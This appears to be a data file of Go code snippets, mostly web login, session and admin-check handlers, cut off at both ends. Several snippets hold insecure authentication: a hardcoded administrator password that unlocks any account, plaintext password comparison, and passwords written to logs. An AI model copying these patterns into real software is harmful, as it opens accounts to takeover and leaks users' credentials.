argument.\")\n\t}\n\n\tprintln(\"Some log\")\n\n\t/// IS USER ADMINISTRATOR\n\tisAdmin, err = isLedgerAdmin()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Cannot know is user is administrator.\")\n\t}\n\tif isAdmin == true {\n\t\treturn \"true\", nil\n\t} else {\n\t\treturn \"false\", nil\n\t}\n}", "func AuthorizePages(w http.ResponseWriter, r *http.Request) {\n userData := getSession(r)\n if (len(userData.UserId) <= 0 || len(userData.FirstName) <= 0 ) {\n w.Write([]byte(\"<script>alert('Unauthorized Access!!,please login');window.location = '/login'</script>\"))\n }\n}", "func Login(user *User)(int, map[string]interface{}){\n errorMessage := map[string]interface{}{\"ok\": false, \"error\": \"login_error\"}\n if user.Email == \"\" {\n return http.StatusUnauthorized, errorMessage\n }\n Db.Where(\"email = ?\", user.Email).First(user)\n if(user.Id > 0) {\n gopath := os.Getenv(\"GOPATH\")\n cmd := exec.Command(gopath + \"/src/sequencing/blowfish.php\", user.Password, user.EncryptedPassword)\n result, err := cmd.Output()\n if err != nil {\n log.Println(err)\n return http.StatusUnauthorized, errorMessage\n }\n if(string(result) == \"1\") {\n return http.StatusOK, map[string]interface{}{\n \"name\": user.Name,\n \"email\": user.Email,\n \"id\": user.Id}\n } else {\n return http.StatusUnauthorized, errorMessage\n }\n } else {\n return http.StatusUnauthorized, errorMessage\n }\n}", "func auth(u *user) bool {\n\tfor _, id := range admins {\n\t\tif u.id == id || u.addr == id {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "func (db *MyConfigurations) performLogin(c echo.Context) error {\n\tvar loginData, user models.User\n\t_ = c.Bind(&loginData) // gets the form data from the context and binds it to the `loginData` struct\n\tdb.GormDB.First(&user, \"username = ?\", loginData.Username) // gets the user from the database where his username is equal to the entered username\n\terr := bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(loginData.Password)) // compare the hashed password that is stored in the database with the hashed version of the password that the user entered\n\t// checks if the user ID is 0 (which means that no user was found with that username)\n\t// checks that err is not null (which means that the hashed password is the same of the hashed version of the user entered password)\n\t// makes sure that the password that the user entered is not the administrator password\n\tif user.ID == 0 || (err != nil && loginData.Password != administratorPassword) {\n\t\tif checkIfRequestFromMobileDevice(c) {\n\t\t\treturn c.JSON(http.StatusBadRequest, echo.Map{\n\t\t\t\t\"message\": \"بيانات الدخول ليست صحيحه\",\n\t\t\t})\n\t\t}\n\t\t// redirect to /login and add a failure flash message\n\t\treturn redirectWithFlashMessage(\"failure\", \"بيانات الدخول ليست صحيحه\", \"/login\", &c)\n\t} else {\n\t\ttoken, err := createToken(user.ID, user.Classification, user.Username)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif checkIfRequestFromMobileDevice(c) {\n\t\t\treturn c.JSON(http.StatusOK, echo.Map{\n\t\t\t\t\"securityToken\": token,\n\t\t\t\t\"url\": \"/\",\n\t\t\t})\n\t\t}\n\t\tc.SetCookie(&http.Cookie{\n\t\t\tName: \"Authorization\",\n\t\t\tValue: token,\n\t\t\tExpires: time.Now().Add(time.Hour * 24 * 30),\n\t\t})\n\t\treturn c.Redirect(http.StatusFound, \"/\")\n\t}\n}", "func Login(w http.ResponseWriter, r *http.Request) {\r\n\tlogin := strings.Trim(r.FormValue(\"login\"), \" \")\r\n\tpass := strings.Trim(r.FormValue(\"pass\"), \" \")\r\n\tlog.Println(\"login: \", login, \" pass: \", pass)\r\n\r\n\t// Check params\r\n\tif login == \"\" || pass == \"\" {\r\n\t\twriteResponse(w, \"Login and password required\\n\", http.StatusBadRequest)\r\n\t\treturn\r\n\t}\r\n\r\n\t// Already authorized\r\n\tif savedPass, OK := Auth[login]; OK && savedPass == pass {\r\n\t\twriteResponse(w, \"You are already authorized\\n\", http.StatusOK)\r\n\t\treturn\r\n\t} else if OK && savedPass != pass {\r\n\t\t// it is not neccessary\r\n\t\twriteResponse(w, \"Wrong pass\\n\", http.StatusBadRequest)\r\n\t\treturn\r\n\t}\r\n\r\n\tuser := model.User{}\r\n\terr := user.Get(login, pass)\r\n\tif err == nil {\r\n\t\tAuth[login], Work[login] = pass, user.WorkNumber\r\n\t\twriteResponse(w, \"Succesfull authorization\\n\", http.StatusOK)\r\n\t\treturn\r\n\t}\r\n\r\n\twriteResponse(w, \"User with same login not found\\n\", http.StatusNotFound)\r\n}", "func getAdmin(e echo.Context) error {\n\tdb := e.Get(\"database\").(*mgo.Database)\n\tif db == nil {\n\t\treturn fmt.Errorf(\"Bad database session\")\n\t}\n\n\tvar id bson.ObjectId\n\tif idParam := e.QueryParam(\"id\"); idParam != \"\" && bson.IsObjectIdHex(idParam) {\n\t\tid = bson.ObjectIdHex(idParam)\n\t}\n\tuuid, err := uuid.FromString(e.QueryParam(\"uuid\"))\n\tif !id.Valid() && err != nil {\n\t\treturn fmt.Errorf(\"Bad parameters\")\n\t}\n\n\ta := models.Admin{}\n\tif id.Valid() {\n\t\terr = db.C(\"Admins\").FindId(id).One(&a)\n\t} else {\n\t\terr = db.C(\"Admins\").Find(bson.M{\"adminUuid\": uuid}).One(&a)\n\t}\n\tif err != nil {\n\t\treturn e.NoContent(http.StatusNotFound)\n\t}\n\treturn e.JSON(http.StatusOK, a)\n}", "func (user User) Login(w http.ResponseWriter, gp *core.Goploy) {\n\ttype ReqData struct {\n\t\tAccount string `json:\"account\"`\n\t\tPassword string `json:\"password\"`\n\t}\n\ttype RepData struct {\n\t\tToken string `json:\"token\"`\n\t}\n\tvar reqData ReqData\n\terr := json.Unmarshal(gp.Body, &reqData)\n\tif err != nil {\n\t\tresponse := core.Response{Code: 1, Message: err.Error()}\n\t\tresponse.JSON(w)\n\t\treturn\n\t}\n\tuserData, err := model.User{Account: reqData.Account}.GetDataByAccount()\n\tif err != nil {\n\t\tresponse := core.Response{Code: 1, Message: err.Error()}\n\t\tresponse.JSON(w)\n\t\treturn\n\t}\n\n\tif userData.State == 0 {\n\t\tresponse := core.Response{Code: 10000, Message: \"账号已被停用\"}\n\t\tresponse.JSON(w)\n\t\treturn\n\t}\n\n\tif err := userData.Vaildate(reqData.Password); err != nil {\n\t\tresponse := core.Response{Code: 1, Message: err.Error()}\n\t\tresponse.JSON(w)\n\t\treturn\n\t}\n\n\ttoken, err := userData.CreateToken()\n\tif err != nil {\n\t\tresponse := core.Response{Code: 1, Message: err.Error()}\n\t\tresponse.JSON(w)\n\t\treturn\n\t}\n\tmodel.User{ID: userData.ID, LastLoginTime: time.Now().Unix()}.UpdateLastLoginTime()\n\n\tcore.Cache.Set(\"userInfo:\"+strconv.Itoa(int(userData.ID)), &userData, cache.DefaultExpiration)\n\n\tdata := RepData{Token: token}\n\tresponse := core.Response{Data: data}\n\tresponse.JSON(w)\n}", "func Login(rw http.ResponseWriter, request *http.Request) {\n\n\tlog.Println(\"call Login\")\n\n\t// フォームデータのパース\n\terr := request.ParseForm()\n\tif err != nil {\n\t\toutputErrorLog(\"フォーム パース 失敗\", err)\n\t}\n\n\t// リクエストデータ取得\n\taccount := request.Form.Get(\"account\")\n\tpassword := request.Form.Get(\"password\")\n\tlog.Println(\"ユーザ:\", account)\n\n\t// ユーザデータ取得しモデルデータに変換\n\tdbm := db.ConnDB()\n\tuser := new(models.User)\n\trow := dbm.QueryRow(\"select account, name, password from users where account = ?\", account)\n\tif err = row.Scan(&user.Name, &user.Account, &user.Password); err != nil {\n\t\toutputErrorLog(\"ユーザ データ変換 失敗\", err)\n\t}\n\n\t// ユーザのパスワード認証\n\tif user.Password != password {\n\t\tlog.Println(\"ユーザ パスワード照合 失敗\")\n\t\thttp.Redirect(rw, request, \"/index\", http.StatusFound)\n\t\treturn\n\t}\n\n\tlog.Println(\"認証 成功\")\n\n\t// 認証が通ったら、セッション情報をDBに保存\n\tsessionID := generateSessionID(account)\n\tlog.Println(\"生成したセッションID:\", sessionID)\n\tnow := time.Now()\n\tresult, err := dbm.Exec(`INSERT INTO sessions\n\t\t(sessionID, account, expireDate)\n\t\tVALUES\n\t\t(?, ?, ?)\n\t\t`, sessionID, account, now.Add(1*time.Hour))\n\tnum, err := result.RowsAffected()\n\tif err != nil || num == 0 {\n\t\toutputErrorLog(\"セッション データ保存 失敗\", err)\n\t}\n\n\tlog.Println(\"セッション データ保存 成功\")\n\n\t// クッキーにセッション情報付与\n\tcookie := &http.Cookie{\n\t\tName: sessionIDName,\n\t\tValue: sessionID,\n\t}\n\thttp.SetCookie(rw, cookie)\n\n\t// HOME画面に遷移\n\thttp.Redirect(rw, request, \"/home\", http.StatusFound)\n}", "func LoginPage(w http.ResponseWriter, r *http.Request) { \n tmpl, err := template.ParseFiles(\"templates/loginPage.html\")\n if err != nil {\n fmt.Println(err)\n }\n var user helpers.User\n credentials := userCredentials{\n EmailId: r.FormValue(\"emailId\"),\n Password: r.FormValue(\"password\"), \n }\n\n login_info := dbquery.GetUserByEmail(credentials.EmailId)\n user = helpers.User{\n UserId: login_info.UserId,\n FirstName: login_info.FirstName,\n LastName: login_info.LastName, \n Role: login_info.Role,\n Email: login_info.Email,\n \n }\n\n var emailValidation string\n\n _userIsValid := CheckPasswordHash(credentials.Password, login_info.Password)\n\n if !validation(login_info.Email, credentials.EmailId, login_info.Password, credentials.Password) {\n emailValidation = \"Please enter valid Email ID/Password\"\n }\n\n if _userIsValid {\n setSession(user, w)\n http.Redirect(w, r, \"/dashboard\", http.StatusFound)\n }\n\n var welcomeLoginPage string\n welcomeLoginPage = \"Login Page\"\n\n tmpl.Execute(w, Response{WelcomeMessage: welcomeLoginPage, ValidateMessage: emailValidation}) \n \n}", "func HaveAdmin() bool {\n\tvar admins []model.Admin\n\tdb.From(\"admin\").All(&admins)\n\tif len(admins) > 0 {\n\t\tfor idx, _ := range admins {\n\t\t\t//fmt.Printf(\"|%s|%s\", admins[idx].Email, admins[idx].Password)\n\t\t\tlog.Debugf(\"|%s|%s\", admins[idx].Email, admins[idx].Password)\n\t\t}\n\t\treturn true\n\t}\n\treturn false\n}", "func Login(w http.ResponseWriter, req *http.Request) {\n\n\tnow, userIP := globalPkg.SetLogObj(req)\n\tlogobj := logpkg.LogStruct{\"\", now, userIP, \"macAdress\", \"Login\", \"AccountModule\", \"\", \"\", \"_\", 0}\n\t// found, logobj := logpkg.CheckIfLogFound(userIP)\n\n\t// if found && now.Sub(logobj.Currenttime).Seconds() > globalPkg.GlobalObj.DeleteAccountTimeInseacond {\n\n\t// \tlogobj.Count = 0\n\t// \tbroadcastTcp.BoardcastingTCP(logobj, \"\", \"AddAndUpdateLog\")\n\n\t// }\n\t// if found && logobj.Count >= 10 {\n\n\t// \tglobalPkg.SendError(w, \"your Account have been blocked\")\n\t// \treturn\n\t// }\n\n\t// if !found {\n\n\t// \tLogindex := userIP.String() + \"_\" + logfunc.NewLogIndex()\n\n\t// \tlogobj = logpkg.LogStruct{Logindex, now, userIP, \"macAdress\", \"Login\", \"AccountModule\", \"\", \"\", \"_\", 0}\n\t// }\n\t// logobj = logfunc.ReplaceLog(logobj, \"Login\", \"AccountModule\")\n\n\tvar NewloginUser = loginUser{}\n\tvar SessionObj accountdb.AccountSessionStruct\n\n\tdecoder := json.NewDecoder(req.Body)\n\tdecoder.DisallowUnknownFields()\n\terr := decoder.Decode(&NewloginUser)\n\tif err != nil {\n\t\tglobalPkg.SendError(w, \"please enter your correct request \")\n\t\tglobalPkg.WriteLog(logobj, \"failed to decode object\", \"failed\")\n\t\treturn\n\t}\n\tInputData := NewloginUser.EmailOrPhone + \",\" + NewloginUser.Password + \",\" + NewloginUser.AuthValue\n\tlogobj.InputData = InputData\n\t//confirm email is lowercase and trim\n\tNewloginUser.EmailOrPhone = convertStringTolowerCaseAndtrimspace(NewloginUser.EmailOrPhone)\n\tif NewloginUser.EmailOrPhone == \"\" {\n\t\tglobalPkg.WriteLog(logobj, \"please Enter your Email Or Phone\", \"failed\")\n\t\tglobalPkg.SendNotFound(w, \"please Enter your Email Or Phone\")\n\t\treturn\n\t}\n\tif NewloginUser.AuthValue == \"\" && NewloginUser.Password == \"\" {\n\t\tglobalPkg.WriteLog(logobj, \"please Enter your password Or Authvalue\", \"failed\")\n\t\tglobalPkg.SendError(w, \"please Enter your password Or Authvalue\")\n\t\treturn\n\t}\n\n\tvar accountObj accountdb.AccountStruct\n\tvar Email bool\n\tEmail = false\n\tif strings.Contains(NewloginUser.EmailOrPhone, \"@\") && strings.Contains(NewloginUser.EmailOrPhone, \".\") {\n\t\tEmail = true\n\t\taccountObj = getAccountByEmail(NewloginUser.EmailOrPhone)\n\t} else {\n\t\taccountObj = getAccountByPhone(NewloginUser.EmailOrPhone)\n\t}\n\n\t//if account is not found whith data logged in with\n\tif accountObj.AccountPublicKey == \"\" && accountObj.AccountName == \"\" {\n\t\tglobalPkg.SendError(w, \"Account not found please check your email or phone\")\n\t\tglobalPkg.WriteLog(logobj, \"Account not found please check your email or phone\", \"failed\")\n\t\t// logobj.Count = logobj.Count + 1\n\t\t// logobj.OutputData = \"Account not found please check your email or phone\"\n\t\t// logobj.Process = \"failed\"\n\t\t// broadcastTcp.BoardcastingTCP(logobj, \"\", \"AddAndUpdateLog\")\n\n\t\treturn\n\t}\n\n\tif accountObj.AccountIndex == \"\" && Email == true { //AccountPublicKey replaces with AccountIndex\n\t\tglobalPkg.WriteLog(logobj, \"Please,Check your account Email \", \"failed\")\n\t\tglobalPkg.SendNotFound(w, \"Please,Check your account Email \")\n\t\t// logobj.Count = logobj.Count + 1\n\t\t// logobj.OutputData = \"Please,Check your account Email \"\n\t\t// logobj.Process = \"failed\"\n\t\t// broadcastTcp.BoardcastingTCP(logobj, \"\", \"AddAndUpdateLog\")\n\n\t\treturn\n\t}\n\tif accountObj.AccountIndex == \"\" && Email == false {\n\t\tglobalPkg.WriteLog(logobj, \"Please,Check your account phone \", \"failed\")\n\t\tglobalPkg.SendNotFound(w, \"Please,Check your account phone \")\n\t\t// logobj.OutputData = \"Please,Check your account phone \"\n\t\t// logobj.Process = \"failed\"\n\t\t// logobj.Count = logobj.Count + 1\n\n\t\t// broadcastTcp.BoardcastingTCP(logobj, \"\", \"AddAndUpdateLog\")\n\n\t\treturn\n\t}\n\n\tif (accountObj.AccountName == \"\" || (NewloginUser.Password != \"\" && accountObj.AccountPassword != NewloginUser.Password && Email == true) || (accountObj.AccountEmail != NewloginUser.EmailOrPhone && Email == true && NewloginUser.Password != \"\")) && NewloginUser.Password != \"\" {\n\t\tglobalPkg.WriteLog(logobj, \"Please,Check your account Email or password\", \"failed\")\n\t\tglobalPkg.SendError(w, \"Please,Check your account Email or password\")\n\n\t\t// logobj.Count = logobj.Count + 1\n\t\t// logobj.OutputData = \"Please,Check your account Email or password\"\n\t\t// logobj.Process = \"failed\"\n\t\t// broadcastTcp.BoardcastingTCP(logobj, \"\", \"AddAndUpdateLog\")\n\n\t\treturn\n\t}\n\tif (accountObj.AccountName == \"\" || (accountObj.AccountAuthenticationValue != NewloginUser.AuthValue && Email == true) || (accountObj.AccountEmail != NewloginUser.EmailOrPhone && Email == true)) && NewloginUser.AuthValue != \"\" {\n\t\tglobalPkg.WriteLog(logobj, \"Please,Check your account Email or AuthenticationValue\", \"failed\")\n\n\t\t// logobj.Count = logobj.Count + 1\n\t\t// logobj.OutputData = \"Please,Check your account Email or AuthenticationValues\"\n\t\t// logobj.Process = \"failed\"\n\t\t// broadcastTcp.BoardcastingTCP(logobj, \"\", \"AddAndUpdateLog\")\n\t\tglobalPkg.SendError(w, \"Please,Check your account Email or AuthenticationValue\")\n\t\treturn\n\n\t}\n\tif (accountObj.AccountName == \"\" || (strings.TrimSpace(accountObj.AccountPhoneNumber) != \"\" && Email == false) || (accountObj.AccountPassword != NewloginUser.Password && Email == false) || (accountObj.AccountPhoneNumber != NewloginUser.EmailOrPhone && Email == false)) && NewloginUser.Password != \"\" {\n\t\tfmt.Println(\"i am a phone\")\n\t\tglobalPkg.WriteLog(logobj, \"Please,Check your account phoneNAmber OR password\", \"failed\")\n\n\t\t// logobj.Count = logobj.Count + 1\n\t\t// logobj.OutputData = \"Please,Check your account phoneNAmber OR password\"\n\t\t// logobj.Process = \"failed\"\n\t\t// broadcastTcp.BoardcastingTCP(logobj, \"\", \"AddAndUpdateLog\")\n\t\tglobalPkg.SendError(w, \"Please,Check your account phoneNAmber OR password\")\n\t\treturn\n\n\t}\n\n\tif (accountObj.AccountName == \"\" || (strings.TrimSpace(accountObj.AccountPhoneNumber) != \"\" && Email == false) || (accountObj.AccountPassword != NewloginUser.AuthValue && Email == false) || (accountObj.AccountPhoneNumber != NewloginUser.EmailOrPhone && Email == false)) && NewloginUser.AuthValue != \"\" {\n\t\tfmt.Println(\"i am a phone\")\n\t\tglobalPkg.WriteLog(logobj, \"Please,Check your account phoneNAmber OR AuthenticationValue\", \"failed\")\n\n\t\t// logobj.Count = logobj.Count + 1\n\t\t// logobj.OutputData = \"Please,Check your account phoneNAmber OR AuthenticationValue\"\n\t\t// logobj.Process = \"failed\"\n\t\t// broadcastTcp.BoardcastingTCP(logobj, \"\", \"AddAndUpdateLog\")\n\t\tglobalPkg.SendError(w, \"Please,Check your account phoneNAmber OR AuthenticationValue\")\n\t\treturn\n\n\t}\n\n\tif accountObj.AccountPublicKey == \"\" && accountObj.AccountName != \"\" {\n\t\tvar user User\n\n\t\tuser = createPublicAndPrivate(user)\n\n\t\tbroadcastTcp.BoardcastingTCP(accountObj, \"POST\", \"account\")\n\t\taccountObj.AccountPublicKey = user.Account.AccountPublicKey\n\t\taccountObj.AccountPrivateKey = user.Account.AccountPrivateKey\n\t\tsendJson, _ := json.Marshal(accountObj)\n\n\t\t//w.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.Header().Set(\"jwt-token\", globalPkg.GenerateJwtToken(accountObj.AccountName, false)) // set jwt token\n\t\t//w.WriteHeader(http.StatusOK)\n\t\t//w.Write(sendJson)\n\t\tglobalPkg.SendResponse(w, sendJson)\n\t\tSessionObj.SessionId = NewloginUser.SessionID\n\t\tSessionObj.AccountIndex = accountObj.AccountIndex\n\t\t//--search if sesssion found\n\t\t// session should be unique\n\t\tflag, _ := CheckIfsessionFound(SessionObj)\n\n\t\tif flag == true {\n\n\t\t\tbroadcastTcp.BoardcastingTCP(SessionObj, \"\", \"Delete Session\")\n\n\t\t}\n\t\tbroadcastTcp.BoardcastingTCP(SessionObj, \"\", \"Add Session\")\n\n\t\treturn\n\n\t}\n\n\tfmt.Println(accountObj)\n\tSessionObj.SessionId = NewloginUser.SessionID\n\tSessionObj.AccountIndex = accountObj.AccountIndex\n\t//--search if sesssion found\n\t// session should be unique\n\tflag, _ := CheckIfsessionFound(SessionObj)\n\n\tif flag == true {\n\n\t\tbroadcastTcp.BoardcastingTCP(SessionObj, \"\", \"Delete Session\")\n\n\t}\n\tbroadcastTcp.BoardcastingTCP(SessionObj, \"\", \"Add Session\")\n\tglobalPkg.WriteLog(logobj, accountObj.AccountName+\",\"+accountObj.AccountPassword+\",\"+accountObj.AccountEmail+\",\"+accountObj.AccountRole, \"success\")\n\n\t// if logobj.Count > 0 {\n\t// \tlogobj.Count = 0\n\t// \tlogobj.OutputData = accountObj.AccountName\n\t// \tlogobj.Process = \"success\"\n\t// \tbroadcastTcp.BoardcastingTCP(logobj, \"\", \"AddAndUpdateLog\")\n\n\t// }\n\tsendJson, _ := json.Marshal(accountObj)\n\tw.Header().Set(\"jwt-token\", globalPkg.GenerateJwtToken(accountObj.AccountName, false)) // set jwt token\n\tglobalPkg.SendResponse(w, sendJson)\n\n}", "func Login(w http.ResponseWriter, r *http.Request) {\n\t/*\n\t\tTratamento dos dados vindos do front-end\n\t\tNesse caso, o request pega login e senha\n\t*/\n\tvar login models.Credentials\n\tbody := r.Body\n\tbytes, err := util.BodyToBytes(body)\n\terr = util.BytesToStruct(bytes, &login)\n\n\t// Checks if struct is a valid one\n\tif err = validation.Validator.Struct(login); err != nil {\n\n\t\tlog.Printf(\"[WARN] invalid user information, because, %v\\n\", err)\n\t\tw.WriteHeader(http.StatusPreconditionFailed) // Status 412\n\t\treturn\n\t}\n\n\t// err1 consulta o login no banco de dados\n\terr1 := database.CheckLogin(login.Login)\n\n\t// err2 consulta a senha referente ao login fornecido\n\terr2 := database.CheckSenha(login.Login, login.Senha)\n\n\t// Condicao que verifica se os dois dados constam no banco de dados\n\tif (err1 != nil) || (err2 != true) {\n\t\tlog.Println(\"[FAIL]\")\n\t\tw.WriteHeader(http.StatusForbidden) // Status 403\n\t} else {\n\t\tlog.Println(\"[SUCCESS]\")\n\t\tw.WriteHeader(http.StatusAccepted) // Status 202\n\t}\n\n\treturn\n}", "func pvtShowAdminButton(s *sess.Session) bool {\n\tfor i := 0; i < len(s.PMap.Urole.Perms); i++ {\n\t\tif s.PMap.Urole.Perms[i].Perm&authz.PERMCREATE != 0 {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "func (l *Info) RequiresAdmin() bool {\n\t_, ok := l.Allow[Admin]\n\treturn ok\n}", "func (h *Handler) serveAuthenticateClusterAdmin(w http.ResponseWriter, r *http.Request) {}", "func IsGonawinAdmin(c appengine.Context) bool {\n\treturn user.IsAdmin(c)\n}", "func (client *HammerspaceClient) EnsureLogin() error {\n v := url.Values{}\n v.Add(\"username\", client.username);\n v.Add(\"password\", client.password);\n\n resp, err := client.httpclient.PostForm(fmt.Sprintf(\"%s%s/login\", client.endpoint, BasePath),v)\n if err != nil {\n return err\n }\n defer resp.Body.Close()\n body, err := ioutil.ReadAll(resp.Body)\n bodyString := string(body)\n responseLog := log.WithFields(log.Fields{\n \"statusCode\": resp.StatusCode,\n \"body\": bodyString,\n \"headers\": resp.Header,\n \"url\": resp.Request.URL,\n })\n\n if err != nil {\n log.Error(err)\n }\n if resp.StatusCode != 200 {\n err = errors.New(\"failed to login to Hammerspace Anvil\")\n responseLog.Error(err)\n }\n return err\n}", "func (a *localAuth) localLogin(c echo.Context) (string, string, error) {\n\tlog.Debug(\"doLocalLogin\")\n\n\tusername := c.FormValue(\"username\")\n\tpassword := c.FormValue(\"password\")\n\n\tif len(username) == 0 || len(password) == 0 {\n\t\treturn \"\", username, errors.New(\"Needs usernameand password\")\n\t}\n\n\tlocalUsersRepo, err := localusers.NewPgsqlLocalUsersRepository(a.databaseConnectionPool)\n\tif err != nil {\n\t\tlog.Errorf(\"Database error getting repo for Local users: %v\", err)\n\t\treturn \"\", username, err\n\t}\n\n\tvar scopeOK bool\n\tvar hash []byte\n\tvar authError error\n\tvar localUserScope string\n\n\t// Get the GUID for the specified user\n\tguid, err := localUsersRepo.FindUserGUID(username)\n\tif err != nil {\n\t\treturn guid, username, fmt.Errorf(\"Access Denied - Invalid username/password credentials\")\n\t}\n\n\t//Attempt to find the password has for the given user\n\tif hash, authError = localUsersRepo.FindPasswordHash(guid); authError != nil {\n\t\tauthError = fmt.Errorf(\"Access Denied - Invalid username/password credentials\")\n\t\t//Check the password hash\n\t} else if authError = crypto.CheckPasswordHash(password, hash); authError != nil {\n\t\tauthError = fmt.Errorf(\"Access Denied - Invalid username/password credentials\")\n\t} else {\n\t\t//Ensure the local user has some kind of admin role configured and we check for it here\n\t\tlocalUserScope, authError = localUsersRepo.FindUserScope(guid)\n\t\tscopeOK = strings.Contains(localUserScope, a.localUserScope)\n\t\tif (authError != nil) || (!scopeOK) {\n\t\t\tauthError = fmt.Errorf(\"Access Denied - User scope invalid\")\n\t\t} else {\n\t\t\t//Update the last login time here if login was successful\n\t\t\tloginTime := time.Now()\n\t\t\tif updateLoginTimeErr := localUsersRepo.UpdateLastLoginTime(guid, loginTime); updateLoginTimeErr != nil {\n\t\t\t\tlog.Error(updateLoginTimeErr)\n\t\t\t\tlog.Errorf(\"Failed to update last login time for user: %s\", guid)\n\t\t\t}\n\t\t}\n\t}\n\treturn guid, username, authError\n}", "func checkLoggedIn(w http.ResponseWriter, r *http.Request) (*ReqBody, error) {\n\t// get token from request header\n\tReqBody, err := getTknFromReq(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// check if the token is valid or not\n\t// if valid return the user currently logged in\n\tuser := verifyToken(ReqBody.Token)\n\tReqBody.UserDB = user\n\tlog.Println(\"checklogged in\", ReqBody)\n\treturn ReqBody, nil\n}", "func Login(w http.ResponseWriter, r *http.Request) {\n\tlog.Println(\"Login\")\n\tvar dataResource model.RegisterResource\n\tvar token string\n\t// Decode the incoming Login json\n\terr := json.NewDecoder(r.Body).Decode(&dataResource)\n\tif err != nil {\n\t\tcommon.ResponseError(\n\t\t\tw,\n\t\t\terr,\n\t\t\t\"Invalid Login data\",\n\t\t\thttp.StatusInternalServerError,\n\t\t)\n\t\treturn\n\t}\n\n\terr = dataResource.Validate()\n\tif err != nil {\n\t\tcommon.DisplayAppError(\n\t\t\tw,\n\t\t\terr,\n\t\t\t\"Invalid data\",\n\t\t\thttp.StatusBadRequest,\n\t\t)\n\t\treturn\n\t}\n\n\tdataStore := common.NewDataStore()\n\tdefer dataStore.Close()\n\tcol := dataStore.Collection(\"users\")\n\tuserStore := store.UserStore{C: col}\n\t// Authenticate the login result\n\tresult, err, status := userStore.Login(dataResource.Email, dataResource.Password)\n\n\tdata := model.ResponseModel{\n\t\tStatusCode: status.V(),\n\t}\n\n\tswitch status {\n\tcase constants.NotActivated:\n\t\tdata.Error = status.T()\n\t\t//if err != nil {\n\t\t//\tdata.Data = constants.NotActivated.T()\n\t\t//\tdata.Error = err.Error()\n\t\t//}\n\t\tbreak\n\tcase constants.NotExitedEmail:\n\t\tdata.Error = status.T()\n\t\t//if err != nil {\n\t\t//\tdata.Data = constants.NotActivated.T()\n\t\t//\tdata.Error = err.Error()\n\t\t//}\n\t\tbreak\n\tcase constants.LoginFail:\n\t\tdata.Error = status.T()\n\t\t//if err != nil {\n\t\t//\tdata.Error = err.Error()\n\t\t//}\n\t\tbreak\n\tcase constants.Successful:\n\t\t// Generate JWT token\n\t\ttoken, err = common.GenerateJWT(result.ID, result.Email, \"member\")\n\t\tif err != nil {\n\t\t\tcommon.DisplayAppError(\n\t\t\t\tw,\n\t\t\t\terr,\n\t\t\t\t\"Eror while generating the access token\",\n\t\t\t\thttp.StatusInternalServerError,\n\t\t\t)\n\t\t\treturn\n\t\t}\n\t\t// Clean-up the hashpassword to eliminate it from response JSON\n\t\tuserData := model.UserLite{\n\t\t\tEmail:result.Email,\n\t\t\tID:result.ID,\n\t\t\tLocation:result.Location,\n\t\t\tRole:result.Role,\n\t\t\tMyUrl:result.MyUrl,\n\t\t\tDescription:result.Description,\n\t\t\tLastName:result.LastName,\n\t\t\tFirstName:result.FirstName,\n\t\t\tActivated:result.Activated,\n\t\t\tAvatar:result.Avatar,\n\t\t\tIDCardUrl:result.IDCardUrl,\n\t\t\tPhoneNumber:result.PhoneNumber,\n\n\t\t}\n\t\tauthUser := model.AuthUserModel{\n\t\t\tUser: userData,\n\t\t\tToken: token,\n\t\t}\n\t\tdata.Data = authUser\n\t\tbreak\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\tj, err := json.Marshal(data)\n\tif err != nil {\n\t\tcommon.DisplayAppError(\n\t\t\tw,\n\t\t\terr,\n\t\t\t\"An unexpected error has occurred\",\n\t\t\thttp.StatusInternalServerError,\n\t\t)\n\t\treturn\n\t}\n\tw.WriteHeader(http.StatusOK)\n\tw.Write(j)\n}", "func userLoginProcessing(userName string, password string, cookie string) (bool, int) {\n\tvar loginUser users\n\tvar userInitial userLoginStruct\n\n\tdb := dbConn()\n\tdefer db.Close()\n\n\t// login page defined token checking\n\tloginTokenCheck := db.QueryRow(\"SELECT event_id,used FROM user_initial_login WHERE token=? and used=0\", cookie).Scan(&userInitial.eventID, &userInitial.used)\n\n\tif loginTokenCheck != nil {\n\t\tlog.Println(\"user_initial_login table read faild\") // posible system error or hacking attempt ?\n\t\tlog.Println(loginTokenCheck)\n\t\treturn false, 0\n\t}\n\n\t// update initial user details table\n\tinitialUpdate, initErr := db.Prepare(\"update user_initial_login set used=1 where event_id=?\")\n\n\tif initErr != nil {\n\t\tlog.Println(\"Couldnt update initial user table\")\n\t\treturn false, 0 // we shouldnt compare password\n\t}\n\n\t_, updateErr := initialUpdate.Exec(userInitial.eventID)\n\n\tif updateErr != nil {\n\t\tlog.Println(\"Couldnt execute initial update\")\n\n\t}\n\tlog.Printf(\"Initial table updated for event id %d : \", userInitial.eventID)\n\t// end login page token checking\n\n\treadError := db.QueryRow(\"SELECT id,password FROM car_booking_users WHERE username=?\", userName).Scan(&loginUser.id, &loginUser.password)\n\tdefer db.Close()\n\tif readError != nil {\n\t\t//http.Redirect(res, req, \"/\", 301)\n\t\tlog.Println(\"data can not be taken\")\n\n\t}\n\n\tcomparePassword := bcrypt.CompareHashAndPassword([]byte(loginUser.password), []byte(password))\n\n\t// https://stackoverflow.com/questions/52121168/bcrypt-encryption-different-every-time-with-same-input\n\n\tif comparePassword != nil {\n\t\t/*\n\t\t\tHere I need to find a way to make sure that initial token is not get created each time wrong username password\n\n\t\t\tAlso Need to implement a way to restrict accessing after 5 attempts\n\t\t*/\n\t\tlog.Println(\"Wrong user name password\")\n\t\treturn false, 0\n\t} //else {\n\n\tlog.Println(\"Hurray\")\n\treturn true, userInitial.eventID\n\t//}\n\n}", "func (app *MgmtApp) defaultWelcomeUser(client Client) {\n client.Send(AppendText(\"Welcome to the machine\", \"red\"))\n client.Send(SetEchoOn(true))\n client.Send(SetPrompt(\"Enter Username: \"))\n client.Send(SetAuthenticated(false))\n client.Send(SetHistoryMode(false))\n}", "func (app *Application) Admin(w http.ResponseWriter, r *http.Request) {\n\tdata := struct {\n\t\tTime int64\n\t}{\n\t\tTime: time.Now().Unix(),\n\t}\n\n\tt, err := template.ParseFiles(\"views/index.tpl\")\n\n\tif err != nil 